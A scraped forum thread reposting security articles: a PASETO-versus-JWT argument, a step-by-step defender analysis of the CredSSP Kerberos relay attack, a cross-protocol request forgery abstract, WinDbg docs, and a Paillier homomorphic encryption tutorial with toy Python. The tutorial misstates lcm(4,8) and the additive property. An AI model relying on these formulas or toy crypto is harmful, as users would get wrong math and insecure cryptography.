  21. Paseto is a Secure Alternative to the JOSE Standards (JWT, etc.) March 4, 2018 6:25 pm by Scott Arciszewski Open Source This is a follow-up to our 2017 blog post that made the case for avoiding JSON Web Tokens (JWT) and its related standards. Many developers responded to our post with the same question: "What should we use instead of JWT?" Today, I'm happy to announce a viable replacement. Introducing PASETO: Platform-Agnostic SEcurity TOkens The JOSE standards (which JWT is a subset) give developers enough rope to hang themselves: Do you encrypt? Do you sign? Which algorithms do you support? Is none a valid authentication algorithm? Why not let the token specify which algorithm to use to validate tokens? As time went on and more vulnerabilities were discovered in the JOSE standards, the companies and enthusiasts that maintained the JWT libraries in various languages did work around these vulnerabilities, to their credit. However, this is at best a brittle solution. Consider the case of RNCryptor: The PHP implementation uses authenticated encryption and resists timing attacks, but the Haskell implementation just outright skips HMAC validation. The most effective way to solve security problems at an ecosystem level is to design less error-prone standards. Libraries that implement safer standards will not need to play catch-up with what the mainline implementations are doing. That is why we made Paseto, which exposes JWT-like validation claims without any of the runtime protocol negotiation and cryptography protocol joinery that caused so many critical JWT security failures. JWT's Knobs and Levers Are you signing or encrypting? Both? Neither? What algorithm is being used for signing? Public-key and shared-key algorithms easily confused here. Able to choose dangerous options like RSA with PKCS1v1.5 padding. What algorithm is being used for message encryption? What algorithm is being used for key encryption? As for the real-world use cases for including the encryption key with the ciphertext, encrypted or not, your guess is as good as mine. This might make more sense if key encryption algorithms only included public-key cryptography, but of course, AES-GCM is explicitly allowed by the standard. Paseto's Options What version? v1 gives you RSASSA-PSS and AES-CTR+HMAC-SHA2 v2 gives you Libsodium Is this token local or public? local: shared-key authenticated encryption public: public-key digital signatures That's it. There are no levers to pull, buttons to pull, or knobs to fiddle with. You don't have to worry about the complexity required to use RSA safely. You don't have to worry if the public key for a given message is even on the curve. Paseto is simple, obviously secure, solves 99% of the use cases for JSON Web Tokens. There is no guesswork; the cryptography aims to be boring. You can port Paseto to another language in hundreds-not-thousands of lines of code (especially if you only aim for v2 support). The Paseto documentation, as well as a reference implementation written in PHP, is available on GitHub. The Design and Motivation for Paseto Paseto is to JWT what Halite was to various mcrypt-based cryptography libraries in the PHP ecosystem. That is to say, we identified a source of insecurity for the Internet and worked to replace it with something that would lead to better security. All of our software is developed with the same underlying philosophy: Secure by default Simple and easy-to-use Easy to analyze and reason about (for implementors, auditors, and security researchers) However, we need to emphasize another point that isn't obvious until you have sufficient cryptography engineering experience: Ciphersuite agility is harmful. A full discussion on why this is true deserves a blog post of its own, but in a nutshell, it introduces the risk of downgrade attacks (e.g. DROWN). A far more robust design is to use versioned protocols—for which each version has One True Ciphersuite—with a small backward compatibility window. That is what we did with Paseto, and that's why tokens have a header that includes protocol version information. Should Paseto need a version 3 (e.g. if a practical quantum computer is developed and RSA and ECC are both doomed), we can specify a simply-secure ciphersuite for the new version that uses post-quantum cryptography algorithms. In such a scenario, local tokens can be decrypted and re-encrypted transparently (although quantum computers don't threaten AES-256), and public tokens older than v3 can simply be rejected. No downgrade attacks. No weird configurations. No "alg":"none" gotchas to watch out for. The Next Steps I tagged, signed, and released v0.5.0 of the Paseto specification and reference implementation this morning. The specification has not changed since version 0.4, and is unlikely to change again. In the coming weeks, I intend to write a draft RFC and submit it to the IETF as a secure-by-default replacement for the JOSE standards. There is talk among some security experts of launching a Web Token Competition for an "official" JOSE replacement, in the spirit of the Password Hashing Competition that gave us Argon2. Should such a competition surface in the near future, Paseto will be my entry in the contest. However, minor documentation and political concerns aside, Paseto should be considered stable enough to be used in production systems. If you're considering building JWT support into your next software project, consider supporting Paseto instead. It's time to retire error-prone cryptographic standards everywhere. Are Versioned Protocols Really More Robust than Ciphersuite Agility? Yes, and if you don't work with cryptography, the reason why might not be immediately obvious. Modern ciphers aren't directly broken in the real world, most of the time. Most cryptography protocol vulnerabilities will be found in the joinery between components. So instead of hoping for a cryptanalytic break-through, security researchers simply attack the mortar instead of the bricks. A good example of this is, although AES is a secure block cipher, using it in ECB mode is not secure. Using AES in CBC mode (without adding ciphertext integrity) allows trivial plaintext recovery from a type of online attack called a padding oracle. These attacks don't break AES, but the protocols that use AES in this way are broken. Circling back to the brick wall analogy, let's pretend you were building an actual brick wall, but instead of deciding on the bricks and then adhering them in place with mortar, you simply constructed a hollow wireframe of mortar so that bricks could be hot-swappable in case a new tenant decided they wanted a wall made of Papier-mâché brick instead of stone brick. Would you trust that wall to hold up a roof? Cryptography protocol design isn't too dissimilar from brick walls. How does this relate to JOSE and Paseto? Looking back at the JOSE standards, particularly JSON Web Encryption, you'll learn that you're allowed to encrypt a key with one of four methods: RSA with PKCS #1v1.5 padding (asymmetric cryptography, insecure) RSA with OAEP padding (asymmetric cryptography) ECDH (asymmetric cryptography) AES-GCM (symmetric cryptography) (One of these things is not like the others.) By giving users and implementors enough rope to hang themselves, ciphersuite agility balloons the complexity of the protocol and increases the attack surface, with little recourse if all the available options are horrendously broken. It also increases the chances of getting the configuration wrong in a way that dooms the security of a system. What do Versioned Protocols to Differently? The difference is subtle, but important. Ciphersuite agility means essentially building a hollow wireframe or honeycomb structure and allowing implementors to fill in the blanks with options they find palatable. This is one of the core design mistakes of SSL/TLS that system administrators have fumed about for decades. (TLS 1.0: "You want to deploy RC4 with SHA1? OK, you're the boss.") With ciphersuite agility, the security of a deployment is nontrivial ("Okay it's using version 1.2 but what ciphersuites are supported?"), and backward compatibility is complicated ("which ciphersuites are allowed in version 1.2 but not allowed in version 1.3?"). Versioned protocols means hard-coding one specific ciphersuite to any given version of the protocol. If the hard-coded ciphersuite for a version of the current protocol is found to be insecure, a new version should be decided and released. These two facts lead to a heightened risk for implementations and/or deployments ending up vulnerable to downgrade attacks (e.g. DROWN). With versioned protocols, the security of a deployment is straightforward ("Oh, it's using version 2? No further questions") and backward compatibility is simple ("We only allow v2 and v3, all others are blocked"). The risk of downgrade attacks isn't quite zero, but there is no unnecessary complexity to exacerbate the odds of it happening. If you have versioned protocols, where the algorithm choice was sourced from security experts well-versed in cryptography, you end up in a much better place than mix-n-match cryptography construction. Sursa: https://paragonie.com/blog/2018/03/paseto-platform-agnostic-security-tokens-is-secure-alternative-jose-standards-jwt-etc
  22. Azure Advanced Threat Protection: CredSSP Exploit Analysis April 18, 2018 Azure Advanced Threat Protection Team This post is authored by Tal Maor, Security Researcher, Azure ATP. After announcing the release of Azure Advanced Threat Protection (Azure ATP) just a few weeks ago, we are excited to provide details on how Azure ATP has been updated to better protect customers against a new exploit by including the identity theft technique used in the Credential Security Support Provider (CredSSP) Protocol exploit as a flavor of the Pass-The-Ticket detection. In March, Microsoft released a patch for CVE-2018-0886, which protects against a vulnerability discovered by Preempt. The vulnerability allows attackers to perform authenticated remote code executions by taking advantage of the way CredSSP validates requests during the authentication process. In this blog, we provide network behavior analysis of the CredSSP exploitation of this vulnerability and the techniques it uses to propagate in the network. Additionally, we highlight how you can use Azure ATP to detect and investigate a variety of advanced cyberattack attempts. CredSSP exploitation analysis The CredSSP enables an application to securely delegate a user’s credentials from a client to a target server; any application that depends on CredSSP for authentication may be vulnerable to this type of attack. The CredSSP remote code execution vulnerability is also known as Kerberos relay attack using CredsSSP because it uses Kerberos to authenticate against the target and sign malicious payload. As an example of how an attacker would exploit this vulnerability against Remote Desktop Protocol, the attacker would need to run a specially crafted application and perform a man-in-the-middle attack against a Remote Desktop Protocol session. Main steps of standard CredSSP’s Kerberos U2U SSL negotiation – the RDP server returns its public certificate. The client requests from the Ticket Granting Service (TGS) for TERMSRV on the RDP server – this TGS won’t be used although it is retrieved. The client requests the Ticket Granting Ticket (TGT) which should be used as an additional ticket for granting TGS to the RDP server – this step is unique for the U2U mechanism. The client requests the Key Distribution Center (KDC) for U2U TGS for the RDP server (using the RDP client TGT from its initial AS request) and additional TGT of the RDP server (retrieved in step 3). The KDC first validates the authenticity of the requester using the RDP client TGT. Then it opens the RDP server TGT with the krbtgt long term key and uses the TGT session key for encrypting the requested TGS. The client receives the U2U TGS encrypted with the RDP server TGT session key, and TGS enc-part response encrypted with the RDP client TGT session key, both encrypted parts contain a new session key generated by the KDC for the new RDP connection. The client opens the TGS enc-part response and finds the session key with the RDP server. The client creates an AP request using the received TGS for the RDP connection and relevant session key (both retrieved in step c). This AP request also contains the RDP server public key (received in the SSL negotiation) encrypted with the negotiated session key, as “Channel Binding” of CredSSP to validate client authenticity. At this point, the authentication phase is over, and the encrypted RDP session was established. Main steps of the malicious CredSSP’s Kerberos U2U In this flow, the target is the Domain Controller that also runs RDP and RPC servers by default. Setting up the malicious RDP server RPC bind to the TaskSchedulerService interface with U2U Kerberos KERB-TGT-REQUEST. This will retrieve the relevant TGT for TERMSRV\dc1.domain1.test.local service. Waiting for the victim to connect via RDP 2. The RDP client initiates a secured TLS connection with the malicious RDP server and requests its public certificate. This time the malicious RDP server returns a malicious public certificate in clear text. The client uses the public key from the certificate to initiate an encrypted SSL connection and later signs the public key using the Kerberos session key (aka “Channel Binding”) as part of the last step of CredSSP in the Kerberos AP request. 3. The client requests TGS for TERMSRV on the malicious RDP server – this TGS won’t be used although it is retrieved. 4. The client requests the TGT which should be used as an additional ticket for granting TGS to the malicious RDP server – this step is unique for the U2U mechanism. 5. The client requests the KDC for U2U TGS (using the RDP client TGT from its normal AS) and additional TGT of the RDP server (retrieved in step 3). 6. The client creates an AP request, which includes the TGS for the RDP connection. This AP request also contains the malicious RDP server public key encrypted with the negotiated session key, that was meant to be the Channel Binding and is used by the malicious RDP server in the next steps. The malicious RDP server tries to authenticate the RPC session (initiated in step 0) by performing AP request with TGS and authenticator extracted from the original AP request of the victim. The DC will get this AP request as part of the RPC session and validated the received TGS and authenticator. 7. The malicious server sends the signed task scheduler request, which was sent to the victim as a public key (in step 0) and was returned signed by the victim (in step 6), over the authenticated RPC session to create malicious task successfully. Detection with Azure ATP This type of identity theft can be detected by Azure ATP as an identity theft using Pass-The-Ticket attack. Given that the Kerberos AP request from the attacker using the original clients TGS, Azure ATP will detect this malicious behavior and will create the following security alert: In addition, Azure ATP detects several Remote Code Execution techniques performed against the Domain Controller. Given that the RPC makes a call to create a task scheduler on the domain controller, the following security alert is created: When the two security alerts started concurrently and point to the same machine, this can point to the conclusion that this machine performed a remote malicious operation by using the theft identity like as the operation performed by the CredSSP exploit. We strongly recommend that customers who have not yet set the security update for CredSSP to do so as soon as possible. For more information on how to apply the patch please visit CredSSP updates for CVE-2018-0886. You can learn more about Azure ATP here, and when you are ready, start a trial! Additional Resources CredSSP updates for CVE-2018-0886 From Public Key to Exploitation: How We Exploited the Authentication in MS-RDP Security Advisory: Critical Vulnerability in CredSSP Allows Remote Code Execution on Servers Through MS-RDP (Video) CVE-2018-0886 | CredSSP Remote Code Execution Vulnerability How Kerberos user-to-user authentication works? Sursa: https://cloudblogs.microsoft.com/enterprisemobility/2018/04/18/azure-advanced-threat-protection-credssp-exploit-analysis/?_lrsc=5d41d863-5550-4519-99c6-495d29b52e92
  23. Cross-Protocol Request Forgery Server-Side Request Forgery (SSRF) and Cross-Site Request Forgery (CSRF) are two attack methods that enable attackers to cross network boundaries in order to attack applications, but can only target applications that speak HTTP. Custom TCP protocols are everywhere: IoT devices, smartphones, databases, development software, internal web applications, and more. Often, these applications assume that no security is necessary because they are only accessible over the local network. This paper aims to be a definitive overview of attacks that allow cross-protocol exploitation of non-HTTP listeners using CSRF and SSRF, and also expands on the state of the art in these types of attacks to target length-specified protocols that were not previously thought to be exploitable. Download: https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2018/cprf-1.pdf Published date: 10 April 2018 Sursa: https://www.nccgroup.trust/us/our-research/cross-protocol-request-forgery/?research=Whitepapers
      • 1
      • Like
  24. Getting Started with Windows Debugging 11/28/2017 5 minutes to read Contributors This section covers how to get started with Windows Debugging. If your goal is to use the debugger to analyze a crash dump, see Crash dump analysis using the Windows debuggers (WinDbg). To get started with Windows Debugging, complete the following tasks. Determine which devices will serve as the host system and the target system. The debugger runs on the host system and the code that you want to debug runs on the target system. Host <--------------------------------------------------> Target Because it is common to stop instruction execution on the processor during debugging, typically, two systems are used. In some situations, it is possible that the second system is a virtual system, for example, a virtual PC that is running on the same PC. However, if your code is communicating to low level hardware, using a virtual PC may not be the best approach. For more information, see Setting Up Network Debugging of a Virtual Machine Host. Determine if you will be doing kernel or user mode debugging. Kernel mode - Kernel mode is the processor access mode in which the operating system and privileged programs run. Kernel mode code has permission to access any part of the system, and is not restricted like user mode code. It can gain access to any part of any other process running in either user mode or kernel mode. Much of the core OS functionality and many hardware device drivers run in kernel mode. User mode - Applications and subsystems run on the computer in user mode. Processes that run in user mode do so within their own virtual address spaces. They are restricted from gaining direct access to many parts of the system, including system hardware, memory that was not allocated for their use, and other portions of the system that might compromise system integrity. Because processes that run in user mode are effectively isolated from the system and other user mode processes, they cannot interfere with these resources. If your goal is to debug a driver, determine if the driver is a kernel mode driver (typically described as a WDM or KMDF driver) or a user mode driver (UMDF). For some issues, it can be difficult to determine which mode the code is executing in. In that case, you may need to pick one mode and look to see what information is available in that mode. Some issues require using the debugger in both user and kernel mode. Depending on what mode you decide to debug in, you will need to configure and use the debuggers in different ways. Some debug commands operate the same, and some commands operate differently in different modes. For information about using the debugger in kernel mode, see Getting Started with WinDbg (Kernel-Mode) and Debug Universal Drivers - Step by Step Lab (Echo Kernel-Mode) and Debug Drivers - Step by Step Lab (Sysvad Kernel-Mode). For information about using the debugger in user mode, see Getting Started with WinDbg (User-Mode). Chose your debugger environment. WinDbg works well in most situations, but there are times when you may want to use another debugger such as console debuggers for automation or even Visual Studio. For more information, see Debugging Environments. Determine how you will connect the target and host system. Typically, an Ethernet network connection is used to connect the target and host system. If you are doing early bring up work, or don't have an Ethernet connection on the device, other network connection options are available. For more information, see these topics: Setting Up Kernel-Mode Debugging Manually Setting Up Kernel-Mode Debugging over a Network Cable Manually Setting Up Kernel-Mode Debugging using Serial over USB Manually Setting Up Network Debugging of a Virtual Machine Host If you wish to debug using Visual Studio, then refer to these topics. Setting Up Kernel-Mode Debugging in Visual Studio Setting Up Kernel-Mode Debugging over a Network Cable in Visual Studio Setting Up Kernel-Mode Debugging using Serial over USB in Visual Studio Setting Up Kernel-Mode Debugging of a Virtual Machine in Visual Studio Setting Up User-Mode Debugging in Visual Studio Choose either the 32-bit or 64-bit debugging tools. This choice is dependent on the version of Windows that is running on the target and host systems and whether you are debugging 32-bit or 64-bit code. For more information, see Choosing the 32-Bit or 64-Bit Debugging Tools. Configure symbols. You must load the proper symbols to use all of the advanced functionality that WinDbg provides. If you do not have symbols properly configured, you will receive messages indicating that symbols are not available when you attempt to use functionality that is dependent on symbols. For more information, see Symbols for Windows debugging (WinDbg, KD, CDB, NTSD). Configure source code. If your goal is to debug your own source code, you will need to configure a path to your source code. For more information, see Source Path. Become familiar with debugger operation. The Debugger Operation section of the documentation describes debugger operation for various tasks. For example, the Loading Debugger Extension DLLs topic explains how to load debugger extensions. To learn more about working with WinDbg, see Debugging Using WinDbg. Become familiar with debugging techniques. Standard Debugging Techniques apply to most debugging scenarios, and examples include setting breakpoints, inspecting the call stack, and finding a memory leak. Specialized Debugging Techniques apply to particular technologies or types of code. Examples are Plug and Play debugging, Kernel Mode Driver Framework debugging, and RPC debugging. Use the debugger reference commands. Over time, you will use different debug commands as you work in the debugger. Use the .hh (Open HTML Help File) command in the debugger to display help information about any debug command. For more information about the available commands, see Debugger Reference. Use debugging extensions for specific technologies. There are a number of debugging extensions that provide parsing of domain specific data structures. For more information, see Specialized Extensions. This section contains the following topics. Getting Started with WinDbg (Kernel-Mode) Getting Started with WinDbg (User-Mode) Choosing the 32-Bit or 64-Bit Debugging Tools Debugging Environments Setting Up Debugging (Kernel-Mode and User-Mode) Debug Universal Drivers - Step by Step Lab (Echo Kernel-Mode) Debug Drivers - Step by Step Lab (Sysvad Kernel-Mode) Sursa: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windows-debugging?WT.mc_id=linkedin
  25. April 13, 2018 Crypto Journal Part II : Homomorphic Encryption Starting Words This post covers homomorphic encryption with an introductory perspective then shows example of two schemes the math is kept to a minimum but some terms that are used a lot need to be explained at first , every paper is referenced at the end of the post . A Later blogpost will look at other schemes and discuss the idea of bootstraping circuits . Group : A Group in mathematics is the most basic algebraic structure , it’s simply a set (a bunch of numbers) and an operation (addition,multiplication…) that fits certain criterias or axioms . Modulo : Modulo is the operation in programming languages it results in the remainder of the integer division . Cyclic Group : A Cyclic Group is a group that can be generated from one element we call the generator imagine the group of powers of 2 {2^k} that’s a cyclic group it’s generator is 2 . Congruence: a = b (mod n) this reads a is congruent to b modulo n and simply means that a-b is a multiple of n . Finite Groups : a finite group is a group with a limited set ( a fixed number of elements ). Integers Modulo n : this is the most used types of groups in cryptography and this groups contains the number {0,1,2…, n-1} and all operation are modular . Modular arithmetic : we speak about modular operation for example modular addition when we do addtion in an integer modulo group , for example a clock uses modulo 12 addition . Modular multiplicative inverse : a modular multiplicative inverse of a number x is another number y such as xy = 1 mod n (the product xy is congruent to 1 modulo n) in simpler terms xy - 1 can be evenly divided by n Order of a group : the order of a group is the number of elements in it’s set . We won’t need this much math to get an idea and work some examples but having a concept or an idea of what these are will help on the long term, I recommend two books if you want to dive deeper in the mathematics . Introduction Homomorphic Encryption is based on the idea of homomorphisms in Group theory put it simply a homomorphism is a function that maps one group to another such that : f(a.b) = f(a).f(b) (1) consider the dot to be an operation (additon or multiplication for ex) . Homomorphic encryption is thus a structure/operation preserving encryption/mapping it’s use cases span across different areas for example electronic voting and machine learning anonymous location queries , search engines , cloud computing… the word homomorphism is constructed of homos which means same in Greek and morphe which stands for shape . Homomorphic Encryption Encryption is the science or art of transforming plain text messages to an “encrypted” form hidden , homomorphic encryption is a form of encryption in which the formula we stated above is correct in other words the “f” is an encryption algorithm and the encryption of the product of two numbers is equal to the product of the encryptions of the numbers : E(a.b) = E(a).E(b) E is an encryption algorithm or in more proprietary terms a scheme . Now as any kind of encryption we can describe two ways of doing it either by using Secret Key Encryption or Public Key Encryption the first uses one key to both encrypt and decrypt a message , the second uses a public key to encrypt and a private key to decrypt mathematically speaking they are both theoretically secure alas in the real world it’s hard to get it right and a scheme such as RSA can be easily broken if it’s not padded . RSA is actually the first public-key homomorphic encryption scheme but to achieve semantic security RSA needs to pad a message with random bits before ebcryption The padding results in RSA losing it’s homomorphic property so if you hear the words “RSA and Homomorphic Encryption” we are talking about unpadded RSA . An encryption algorithm is called homomorphic if it’s fills the property (1) for some kind of operation as we are going to see next some schemes are only homomorphic with respect to addtion , some to both addtion and multiplication and the messages are usually numbers . There are multiple schemes that separate into two what we call Somewhat Homomorphic and Fully Homomorphic . Somewhat Homomorphic : You are limited in the kind of operations you can do between to ciphertext , you can add two ciphertexts but you can’t multiply them or you can multiply a ciphertext with a plaintext . Fully Homomorphic : You can typically evaluate any kind of operations on ciphertexts the term was coined by Rivest in 1978 but Craig Gentry was the first to introduce a scheme that works on arbitrary functions in his Phd thesis “ Fully Homomorphic Encryption using Ideal Lattices” . Key Point : homomorphic encryption and in general is defined by the propert0y (1) , the dot operation can represent any operation as long as the formula holds correct for that operation it can be addition,multiplication or modular multiplication . N.B : Many Public Key based schemes are “probabilistic” meaning that if you encrypt the same message multiple times it will yield a different ciphertext thus they introduce randomness to hide the smallest partial information about the plain text what we call semantically secure . Examples Of Schemes In this section we introduce a few schemes and we show a few examples using small parameters and Python to describe this process . Note that the code is here is merely toy examples don’t use it in real life because as you will learn in cryptopals it’s hard to implement crypto . Paillier The Paillier scheme , was invented by Pascal Paillier in 1999 it’s a probabilistic scheme that is homomorphic with respect to addition ( the sum of two ciphertext is equal to the ciphertext of the sum of the two plaintext equivalents) and to multiplication by a constant . Suppose E is the paillier encryption function then we have the following two properties : E(a)+E(b) = E(a+b) E(a)^b = E(a * Paillier is composed of three algorithms in fact three algorithms are necessary to create an encryption scheme . First you need a Key generation algorithm, second an encryption algorithm and last a decryption algorithm let’s see how Paillier implement those . Key Generation To generate a key you choose two large primes p and q such that : gcd(pq,(p-1)(q-1)) = 1 In otherwords the product of p and q and (p-1) and (q-1) are relatively prime ( their greatest common divisor is 1) . Then you compute two parameters n & lambda such that : * n = pq and lambda = lcm(p-1,q-1) LCM is the least common multiple for example lcm(4.8) = 16 Select a random integer g such as g belongs to the set of integers modulo n squared . in this case (p and q are primes of the same length) you can pick g as n+1 Compute mu such as mu = lambda^-1 mod n (modular multiplicative inverse) The public key is (n,g) and the private key is (lambda,mu) Encryption suppose m is your message and r a random number such as : m < n and r < n c = g^m * r^n mod n^² c is the ciphertext of m Decryption m = L(c^lambda mod n^²) * mu mod n L(x) = (x-1) / n Example with small parameters and proof of homomorphism let p = 11 and q = 13 n = pq = 143 g = n+1 = 144 The public key is (143,144) Let’s encrypt the answer of the universe and send it to the Zorbs ( habitants of Zorbis planet ) m = 42 we pick r : r = 23 c = g^m * r^n (mod n^2) = 144^42 * 23^143 (mod 143^2) = 9637 m = L(c^lambda mod n^2) * mu mod n lambda = (p-1)*(q-1) = 10*12 = 120 mu = lambda^-1 mod n = 120^-1 mod 143 m = L(9637^120 mod 143^2) * (120^-1 mod 143) mod 143 m = 42 note that you should use modular inverse to compute mu Homomorphic Properties Now that we defined the the procedure to generate a keypair, encrypt and decrypt let’s discuss the homomorphic properties of Paillier . Addition : The product of two ciphertexts decrypts to their sum , if I want to do addition on ciphertexts relatively to my plaintexts I have to calculate the product of the ciphers Proof suppose E is the encryption algorithm and m1 and m2 the plaintexts : E(m1) * E(m2) = (g^m1*r1^n)(g^m2*r2^n) mod n^2 = g^(m1+m2) (r1r2)^n mod n^2 = E(m1+m2) Multiplication: If I have a plaintext m and a constant k then the encryption of their product evaluates to the cipher of m raised to the power k . Proof same suppositions about E,m1,m2 as before : E(m1)^m2 = (g^m1+r1^n)^m2 mod n^2 = g^(m1m2) (r1^m2)^n mod n^2 = E(m1m2) Python Example Implementation The following code can be used to run the example we made above using the same parameters # we need the inverse modulo operation def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m # we also define the l function def l(u,n): return (u-1)/n # pick two primes p = 11 q = 13 # compute n n = p*q # pick g and since p and q are of the same length we can use n+1 g = n+1 # compute lambda lda = (p-1)*(q-1) # compute mu mu = modinv(lda,n) # declare a message m = 42 # pick r such as r<n r = 23 # compute the cipher text c = g**m * (r ** n % n ** 2) # let see the ciphertext print(c) # decrypt the ciphertext note the position of the parenthesis d = l(c**lda % n**2,n) * mu % n print(d) # let's make an addition k = 10 # encrypt k ck = g**k * (r**n % n**2) # decrypt and save k dk = l(ck**lda % n**2,n) * mu % n # verify E(m) * E(k) == E(m+k) cres = ck * c # decrypt result dres = l(cres**lda % n**2,n) * mu % n Ending Notes : I don’t think I treated every bit of the subject in this blogpost but the aim was to present and explain the ideas as clearly as possible for a more in depth treatment you can read the references below . Other schemes that are partially homomorphic are Elgamal ( yes the same one used by GNUPGP ), Goldwasser-Micali, and the Boneh-Goh-Nissim that operates on elliptic curves . I would like to thank Andrew Trask for his suggestions and taking time to read an early draft . References Abstract Algebra : A book of abstract algebra by Charles C.Pinter Number Theory : Summing it up by Avner Ash and Robert Gross Paillier Paper : PDF Gentry 2009 FHE using Ideal Lattices : Link Goldwasser-Mical : Wiki Boneh-Goh-Nissim : PDF Sursa: https://radicalrafi.github.io/posts/homomorphic-encryption/
×
×
  • Create New...